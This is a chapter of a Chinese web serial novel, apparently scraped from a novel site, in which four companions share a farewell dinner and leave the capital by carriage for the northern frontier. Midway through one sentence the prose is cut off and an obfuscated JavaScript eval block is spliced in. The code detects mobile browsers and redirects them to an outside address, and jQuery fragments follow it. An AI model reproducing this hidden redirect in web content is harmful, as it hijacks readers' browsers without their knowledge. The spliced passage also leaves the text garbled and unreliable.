默认冷灰
24号文字
方正启体

23. 故人辞行入北疆

作者:伏惟乾坤本书字数:K更新时间:
    姣姣在客栈又赖了三天。


    第一天,她说“再歇一天,腿疼”。


    第二天,她说“再歇一天,手疼”。


    第三天,她趴在窗台上看街上的行人,看了半个时辰,忽然回头冲奕秋说:“小姐,姜亦还欠我一顿饭,他是不是忘了!”


    奕秋端着茶杯,眼都没抬。


    姣姣掰着手指头算:“他答应过的。打完架请我吃饭。这都多少天了?他是不是想赖账?”


    奕秋没理她。


    姣姣从窗台上跳下来,走到门口,又回头:“我去找他。”


    “你知道他在哪?”


    姣姣想了想。


    “……不知道。”


    她坐回去,继续趴窗台。


    姜亦这几天很少露面。


    案子结了,长公主被囚,周财的案子还在审,镇国将军和羽林军的冤案要昭雪,陈夫子的官职要恢复,李渊要安置,赵守成要升赏——


    事情太多,他忙得脚不沾地。


    第四天早上,姣姣还在梦里啃鸡腿,听见楼下有人说话。


    她翻了个身,把被子蒙过头顶。


    那声音还在说。


    她睁开一只眼,看见奕秋已经站在门口了。


    “起来。”


    “嗯——”


    “姜亦来了。”


    姣姣从床上弹起来。


    头发乱成鸟窝,衣服还没穿好,人已经冲到楼梯口了。


    她趴在栏杆上往下看,姜亦坐在靠窗的位置。


    还是那件墨绿色的劲装,左耳的麒麟坠在晨光里晃了晃。


    他面前放着一碗茶,没喝,正跟闻人奚郁说着什么。


    姣姣冲下楼,一屁股坐在他对面。


    “姜大侠!你终于来了!你是不是想赖账!”


    姜亦看着她,沉默了一瞬。


    “……没想赖账。”


    “那你这么多天不露面!”


    “忙。”


    姣姣瞪他。


    姜亦别过脸,端起茶碗喝了一口。


    “今晚。摘星楼。”


    姣姣眼睛亮了。“多大包厢?”


    “……最大的。”


    姣姣咧嘴一笑,扭头冲楼上喊:“小姐!姜亦请客!最大的包厢!”


    奕秋从楼梯上走下来,白衣如雪,脸上没什么表情。


    但她坐下来的时候,嘴角微微弯了一下。


    闻人奚郁在旁边摇着折扇,笑眯眯的:“姜亦,你这顿饭,可让姣姣姑娘等了三天。”


    姜亦没理他。


    *


    晚上,摘星楼。


    最大那间包厢,比闻人奚郁上次订的还大。


    桌上摆满了菜。冷盘、热菜、汤羹、点心,摆了整整三圈。


    姣姣的眼睛已经不够用了。


    “姜大侠,”她咽了口口水,“你这是把摘星楼的菜单全点了一遍?”


    姜亦端着茶杯,淡淡道:“不知道你喜欢吃什么,就都点了。”


    姣姣愣了一下,然后笑了。


    “你这人,请客都请得这么实在。”


    她抓起筷子,开始吃。


    她吃得不快,但很认真。每一道菜都尝一口,尝完眯起眼,砸吧砸吧嘴,然后夹第二筷。


    姜亦坐在对面,看着她吃,忽然想起第一次见她的时候。


    那天在茶楼,她也是这样,懒懒散散的,趴在窗台上画圈。


    那时候他以为她只是个婢女,一个会点医术、有点人缘的婢女。


    现在他知道,她不是。


    但他不知道她是谁。


    他看了她一眼,又看了一眼奕秋。


    奕秋坐在姣姣旁边,吃得很慢,每样菜夹一筷子,尝一口,放下。


    姣姣时不时往她碗里塞东西:“小姐尝尝这个!这个好吃!”


    奕秋来者不拒,全吃了。


    闻人奚郁坐在姜亦旁边,也没怎么吃。他在给姣姣倒茶,倒了一杯又一杯。


    姣姣吃几口就灌一杯茶,灌完继续吃。


    他看着她吃,笑眯眯的,像是在看什么有意思的事。


    姜亦忽然开口:“明天走?”


    姣姣嘴里塞满了食物,含糊不清地说:“嗯。去北疆。”


    姜亦沉默了一瞬。


    “马车给你们安排好了。明天一早,城门见。”


    姣姣咽下去,抬头看他。“你不送我们?”


    姜亦没说话。


    闻人奚郁在旁边笑了一声。


    “他这几天忙得很。昭雪的事、封赏的事、周财的案子——全压在他一个人身上。”


    姣姣“哦”了一声,继续吃。


    吃到一半,她忽然停下来。“姜大侠。”


    “嗯。”


    “谢谢你。”


    姜亦看着她。


    姣姣咧嘴一笑。


    “这顿饭,真好吃。”


    姜亦的嘴角微微动了一下。


    他端起茶杯,抿了一口。


    “明天别迟到。”


    *


    天还没亮透,姣姣和奕秋已经站在城门口了。


    风从城外吹过来,带着泥土和庄稼的气味,还有一丝若有若无的寒意。


    姣姣缩了缩脖子,把衣领往上拽了拽。


    “怎么还不来?”她跺了跺脚,呵出一口白气,“说好的马车呢?”


    奕秋站在她旁边,白衣在风里轻轻翻动,无尘剑挂在腰间,剑鞘上的纹路在晨光里若隐若现。


    她的脸上没什么表情,但她的目光一直落在城门外那条官道上。


    “再等等。”


    又过了一盏茶的功夫。


    姣姣已经蹲在地上了,手里不知道从哪摸出一颗花生,正在剥。


    “姜亦这家伙,不会忘了吧?他昨天还说别迟到,结果自己迟到了。”她把花生塞进嘴里,嚼了嚼,又摸出一颗。


    “他这几天忙成那样,估计昨晚又没睡。你说他是不是把这事给忘了?”


    奕秋没说话。


    姣姣把花生壳扔在地上,站起来拍了拍衣摆。


    “算了,再等一刻钟。不来我就——”


    话没说完,远处传来车轮碾过路面的声音。


    一辆马车从官道尽头驶过来。


    不是普通的马车。


    车身是深褐色的,漆面光亮,能照见人影。车厢比普通马车宽出一半,车顶四角挂着铜铃,风一吹,叮当作响。车帘是深青色的厚锦,绣着云纹,垂下来遮得严严实实。拉车的两匹马通体乌黑,鬃毛油亮,步伐整齐。


    姣姣看着那辆马车,张大了嘴。


    “这……这是姜亦安排的?”


    车夫勒住马,从车上跳下来。正是之前送他们来皇城的那个老把式。


    他看见姣姣,咧嘴一笑:“姑娘,又见面了。”


    姣姣冲他挥手:“大叔!怎么是你!”


    车夫笑着把脚凳放好。


    “姜公子说了,送佛送到西。上次送你们来,这次送你们走。”


    姣姣绕着马车转了一圈,伸手摸了摸车厢壁。


    漆面光滑,木头是上好的楠木,雕工精细,连车窗的棂格都刻着花纹。


    她探头往车厢里看了一眼,车厢里铺着厚厚的毛毡,中间固定着一张矮桌,桌上放着茶具和一碟点心。


    角落里堆着几个软垫,还有一条叠得整整齐齐的薄毯。


    “这也太阔绰了吧?”她扭头看奕秋,“小姐,这比咱们来的时候那个马车还大!”


    奕秋没说话,但她的目光在马车停下的那一刻就变了。


    不是惊讶,是——她已经知道了。


    姣姣没注意,还在那儿摸马车。


    “这漆,这木头,这帘子——姜亦这家伙,还挺会安排。”


    她踩着脚凳,掀开车帘,往里面钻。“小姐,快上来!这里面可舒服了——”


    她的声音卡在喉咙里。


    车厢里坐着两个人。


    一个靠着左边的车窗,墨绿劲装,左耳戴着麒麟坠。


    他没在隐藏气息,尊界四重的威压淡淡地散在车厢里,不压迫,但你知道他在。


    他手里端着一杯茶,茶还冒着热气,显然等了有一会儿了。


    看见姣姣掀帘子,他抬眼看了她一下,什么都没说。


    另一个靠着右边的车窗,淡紫色玄衣,长发披散,手里摇着折扇。


    扇面上画着一幅山水,笔法清淡,和他这个人一样。


    他笑眯眯地看着姣姣,桃花眼弯弯的。


    “姣姣姑娘,早啊。”


    姣姣愣在车门口。


    她看看姜亦,又看看闻人奚郁。


    姜亦端着茶杯,脸上没什么表情。


    闻人奚郁摇着折扇,笑眯眯的。


    姣姣愣了很久。


    然后她笑了。不是那种浅浅的笑,是那种从心底里翻上来的、压都压不住的笑。


    她一屁股坐进车厢,往软垫上一靠,笑得前仰后合。


    “哎呦——!”她拍着大腿,“你们还要跟我们一起走啊!!”


    姜亦没理她。


    他端着茶杯,看着窗外的城墙。


    闻人奚郁在旁边笑出了声。


    “姜亦这几天一直在处理昭雪的事,要不然请顿饭都磨磨蹭蹭的。”


    他摇着折扇,慢悠悠地说。


    “昨天忙到后半夜,今早天没亮就起来了,非说要来送你们。”


    姣姣笑得直拍软垫。


    “然后呢?”


    “然后他说——”闻人奚郁清了清嗓子,压低声线,“‘北疆路远,多个人多份照应’。”


    姣姣已经笑得直不起腰了。


    “姜大侠!你想跟我们一起走就直说嘛!找什么借口!”


    姜亦终于开口了。


    他的声音很平。


    “我把原终交给了陈夫子。他的才能,我放心。”


    姣姣收了笑,看着他。


    “你真的舍得?”


    姜亦沉默了一瞬。


    他看着窗外的城墙,看了很久。那座城墙他看了二十多年,从小看到大。


    小时候他趴在城墙上看士兵操练,稍大一些他站在城墙上看父亲出征,后来他一个人站在城墙上看夕阳。


    现在他要走了。


    “他的才能,远不止教书。”他收回目光,端起茶杯抿了一口。“原终交给他,我放心。”


    姣姣笑的没心没肺。


    “其实是舍不得我们吧。”


    姜亦的嘴角抽了一下。


    没说话。


    姣姣又笑了,但没有再逗他。


    她从矮桌上抓了一块点心,塞进嘴里,嚼了嚼,含糊不清地说:“姜大侠,你放心。跟着我们,保证好玩。”


    姜亦看着她。


    她嘴里塞满了点心,两颊鼓鼓的,嘴角沾着碎屑。


    她看起来不像要去查案,倒像要去春游。


    他忽然笑了一下。


    “你笑了!”她指着姜亦,“你终于笑了!”


    姜亦别过脸。


    “没有。”


    “有!我看见了你笑了!闻人公子你看见了吗!”


    闻人奚郁摇着折扇,笑眯眯地说:“没看见。”


    姣姣瞪他。


    “你骗人!”


    闻人奚郁无辜地眨眨眼。


    “我一个不会武功的文弱书生,眼神不好,很正常。”


    姣姣:“……”


    奕秋随后上车。


    她踩着脚凳,掀开车帘,弯腰钻进来。


    她看见姜亦,看见闻人奚郁,脸上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437487|200983||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没什么表情。


    她只是在姣姣身边坐下,把无尘剑横在膝上,闭上眼睛。


    但她的嘴角,微微弯了一下。


    马车驶出城门。


    车轮碾过青石板,发出咕噜咕噜的声响。铜铃在车顶叮当,风从车帘的缝隙里钻进来,带着泥土和庄稼的气味。


    姣姣趴在车窗边,看着皇城的城墙越来越远。


    那座灰色的城墙在晨光里泛着淡淡的光,城楼上的旗帜被风吹得猎猎作响。


    她看了很久,忽然回头。


    “姜大侠,你真的舍得?”


    姜亦没有回答。


    他只是看着窗外那座越来越远的城墙,看了很久。


    马车里安静了很久。


    闻人奚郁忽然开口。


    “北疆是我的故乡。”他摇着折扇,难得没有笑。“我也该回去看看。”


    他顿了顿。


    “而且,那个北娣姑娘的事——我们也能派上用场。”


    车厢里安静了一瞬。


    奕秋睁开眼睛,看了闻人奚郁一眼。


    闻人奚郁对上她的目光,笑了笑。


    那笑容很温和,桃花眼弯弯的。


    “奕秋姑娘,北疆的事,没有人比我更熟了。”


    奕秋没有说话。


    她看了他很久,然后重新闭上眼睛。


    但她的手,在无尘剑的剑鞘上轻轻抚过。


    姣姣坐在旁边,看着这一幕,忽然笑了。她往软垫上一靠,把脚伸到矮桌下面,翘起二郎腿。


    “行吧,那咱们就一起去北疆。”


    她掰着手指头算:“查案,打架,吃好吃的,看雪。姜大侠请客。”


    姜亦看她一眼。


    “为什么我请?”


    姣姣理直气壮。


    “你是原终主,有钱。”


    姜亦嘴角抽了一下。


    “我现在不是原终主了。”


    “那你是什么?”


    姜亦沉默了一瞬。


    他看着窗外飞逝的风景,田野、树林、远处的山。风吹过来,把庄稼吹得沙沙响。


    “姜亦。”他说,“就姜亦。”


    姣姣愣了一下。


    然后她笑了。


    “行,姜大侠。那以后就叫你姜大侠。”


    姜亦没说话。


    但他的嘴角,微微动了一下。


    闻人奚郁在旁边摇着折扇,笑眯眯地看着这一幕。他忽然开口。


    “姣姣姑娘。”


    “嗯?”


    “你刚才说,北疆有雪。”


    “对啊。你不是北疆人吗?你不知道?”


    闻人奚郁笑了。


    “我知道。我只是在想,你见了雪,会不会高兴得跳起来。”


    姣姣瞪他。


    “我哪有那么没见过世面!”


    闻人奚郁没说话,只是笑着摇扇子。


    姣姣别过脸,不理他了。过了一会儿,她忽然小声说:“……真的会下雪吗?”


    闻人奚郁笑出了声。


    姜亦的嘴角也弯了一下。


    奕秋闭着眼睛,但她的嘴角,弯得更深了。


    马车辘辘,驶向北方。


    车帘被风掀开一角,露出外面的天。


    天很蓝,云很白,远处的山连绵起伏,像一幅没画完的画。


    姣姣趴在车窗边,看着那些山,忽然说:“北疆是不是很冷?”


    闻人奚郁点头。


    “很冷。冬天能把人冻成冰棍。”


    姣姣缩了缩脖子。


    “那我得买件厚衣裳。”


    “到了北疆,我送你一件。”


    “真的?”姣姣眼睛亮了,“什么颜色的?”


    闻人奚郁想了想。


    “红色的。”


    姣姣愣了一下,然后笑了。


    “你怎么知道我喜欢红色?”


    闻人奚郁看着她,笑眯眯的。


    姣姣眨眨眼,没再问。


    她趴回车窗边,继续看风景。


    风从车帘的缝隙里钻进来,带着泥土和庄稼的气味,还有一丝若有若无的寒意。


    北疆还远,但那股寒意已经能感觉到了。


    她忽然想起什么,回头看向奕秋。


    “小姐。”


    奕秋睁开眼。


    “北疆的雪,好看吗?”


    奕秋沉默了一瞬。


    她看着车窗外的天,看了很久。


    然后她说:“好看。”


    她的声音很轻,轻得像是在说一件很久以前的事。


    “以前有个人,很喜欢雪。”


    姣姣看着她,没有问那个人是谁。


    她只是笑了笑。


    “那到了北疆,我陪你看雪。”


    奕秋没有说话。


    她闭上眼睛,嘴角微微弯了弯。


    马车继续向北。


    铜铃叮当,车轮辘辘。


    四个人坐在车厢里,谁都没有说话。


    但那种安静不是沉默,是——


    都知道要往同一个地方去的安静。


    姣姣靠在软垫上,闭上眼睛。


    她想起姜亦刚才说的那句话——“就姜亦”。


    她想起闻人奚郁说“北疆是我的故乡”。


    她想起奕秋说“以前有个人,很喜欢雪”。


    她想起自己站在城门口等马车的时候,以为要一个人走了。


    现在不是一个人了。


    她笑了一下,翻了个身,找了个更舒服的姿势。


    然后她睡着了。


    梦里,北疆在下雪。


    很大的雪,白茫茫一片,天地间只有一种颜色。


    她站在雪地里,仰着头看那些雪花落下来。


    落在她脸上,凉凉的。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)